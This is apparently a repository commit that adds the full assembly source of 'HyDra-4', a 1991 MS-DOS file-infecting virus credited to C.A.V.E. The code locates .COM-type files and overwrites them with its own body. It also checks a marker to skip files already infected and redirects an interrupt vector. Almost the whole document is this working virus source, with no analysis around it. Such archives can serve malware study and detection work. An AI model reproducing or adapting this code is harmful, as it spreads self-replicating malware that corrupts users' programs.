Add files via upload

MSDOS/Virus.MSDOS.Unknown.hydra4.asm

@@ -0,0 +1,163 @@
+
+PAGE  59,132
+
+;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛ			        HYDRA4				         ÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛ      Created:   28-Aug-91					         ÛÛ
+;ÛÛ      Passes:    5	       Analysis Options on: AW		         ÛÛ
+;ÛÛ      Copyright (c)						         ÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
+
+psp_cmd_size	equ	80h
+data_11e	equ	100h
+data_12e	equ	154h
+data_13e	equ	157h
+data_14e	equ	232h
+data_15e	equ	254h
+
+seg_a		segment	byte public
+		assume	cs:seg_a, ds:seg_a
+
+
+		org	100h
+
+hydra4		proc	far
+
+start:
+		jmp	loc_1
+		pop	cx
+		inc	sp
+		add	[bx+si],al
+data_3		db	'HyDra-4   Beta - Not For Release'
+		db	'. *.CO?'
+		db	0
+data_6		dw	0, 8B39h
+data_8		dw	0
+data_9		db	0
+		db	29 dup (0)
+data_10		db	0
+		db	13 dup (0)
+copyright	db	'Copyright (c)'
+		db	'  1991 by C.A.V.E.  '
+loc_1:
+		push	ax
+		mov	ax,cs
+		add	ax,1000h
+		xor	di,di			; Zero register
+		mov	cx,154h
+		mov	si,100h
+		mov	es,ax
+		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
+		mov	ah,1Ah
+		mov	dx,offset data_9
+		int	21h			; DOS Services  ah=function 1Ah
+						;  set DTA(disk xfer area) ds:dx
+		mov	ah,4Eh			; 'N'
+		mov	dx,offset data_3+22h	; ('*')
+		int	21h			; DOS Services  ah=function 4Eh
+						;  find 1st filenam match @ds:dx
+		jc	loc_5			; Jump if carry Set
+loc_2:
+		mov	ah,3Dh			; '='
+		mov	al,2
+		mov	dx,offset data_10
+		mov	al,2
+		int	21h			; DOS Services  ah=function 3Dh
+						;  open file, al=mode,name@ds:dx
+		mov	bx,ax
+		push	es
+		pop	ds
+		mov	ax,3F00h
+		mov	cx,0FFFFh
+		mov	dx,data_12e
+		int	21h			; DOS Services  ah=function 3Fh
+						;  read file, bx=file handle
+						;   cx=bytes to ds:dx buffer
+		add	ax,154h
+		mov	cs:data_8,ax
+		cmp	word ptr ds:data_13e,4459h
+		jne	loc_3			; Jump if not equal
+		mov	ah,3Eh			; '>'
+		int	21h			; DOS Services  ah=function 3Eh
+						;  close file, bx=file handle
+		push	cs
+		pop	ds
+		mov	ah,4Fh			; 'O'
+		int	21h			; DOS Services  ah=function 4Fh
+						;  find next filename match
+		jc	loc_6			; Jump if carry Set
+		jmp	short loc_2
+loc_3:
+		xor	cx,cx			; Zero register
+		mov	dx,cx
+		mov	ax,4200h
+		int	21h			; DOS Services  ah=function 42h
+						;  move file ptr, bx=file handle
+						;   al=method, cx,dx=offset
+		jc	loc_4			; Jump if carry Set
+		mov	ah,40h			; '@'
+		xor	dx,dx			; Zero register
+		mov	cx,cs:data_8
+		int	21h			; DOS Services  ah=function 40h
+						;  write file  bx=file handle
+						;   cx=bytes from ds:dx buffer
+loc_4:
+		mov	ah,3Eh			; '>'
+		int	21h			; DOS Services  ah=function 3Eh
+						;  close file, bx=file handle
+		push	cs
+		pop	ds
+loc_5:
+		mov	ah,1Ah
+		mov	dx,psp_cmd_size
+		int	21h			; DOS Services  ah=function 1Ah
+						;  set DTA(disk xfer area) ds:dx
+		jmp	short loc_7
+		nop
+loc_6:
+		push	dx
+		mov	ax,3540h
+		int	21h			; DOS Services  ah=function 35h
+						;  get intrpt vector al in es:bx
+		mov	dx,bx
+		push	es
+		pop	ds
+		mov	ax,2513h
+		int	21h			; DOS Services  ah=function 25h
+						;  set intrpt vector al to ds:dx
+		mov	ax,0
+		int	21h			; DOS Services  ah=function 00h
+						;  terminate, cs=progm seg prefx
+loc_7:
+		xor	di,di			; Zero register
+		mov	si,data_14e
+		mov	cx,22h
+		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
+		pop	bx
+		mov	cs:data_6,0
+		mov	word ptr cs:data_6+2,es
+		pop	bx
+		jmp	dword ptr cs:data_6
+		push	ds
+		pop	es
+		mov	cx,0FFFFh
+		mov	si,data_15e
+		mov	di,data_11e
+		sub	cx,si
+		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
+		mov	word ptr cs:[100h],100h
+		mov	word ptr cs:[102h],ds
+		mov	ax,bx
+		jmp	dword ptr cs:[100h]
+		int	20h			; DOS program terminate
+
+hydra4		endp
+
+seg_a		ends
+
+
+
+		end	start